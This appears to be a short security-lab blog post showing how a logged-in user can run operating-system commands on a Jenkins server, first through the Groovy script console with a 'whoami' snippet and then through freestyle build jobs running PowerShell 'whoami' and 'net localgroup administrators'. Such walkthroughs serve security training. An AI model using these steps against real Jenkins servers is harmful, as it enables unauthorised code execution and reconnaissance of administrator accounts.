Site Loader

As i consider the Jenkin is already present on server and we have the credential with us

After login go to :

http://192.168.65.195:8080/scirpts/

type this below mention command and click on run

Code :

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = ‘whoami’.execute()

proc.consumeProcessOutput(sout,serr)

proc.waitForOrKill(1000)

println “out>$sout err> $serr”

Now try to access :

http://192.168.65.195:8080/asynchPeople/

Now try to access

http://192.168.65.195:8080/job/sesample1/configure

Command : powershell whoami

Click on save  now click on build now option

Now click on highlighted #6

Now click on console output

We get the output

Now modify the command

Click on new item highlighted option

Write the item name : sesample2 and select freestyle project and click on ok.

Go to build and select execute window batch command option.

In command : powershell net localgroup administrators and click on save.

Now click on build now and then select the latest build file and click on it and then click on console output.

@Saksham Dixit

Post Author: Saksham dixit

Leave a Reply

Your email address will not be published. Required fields are marked *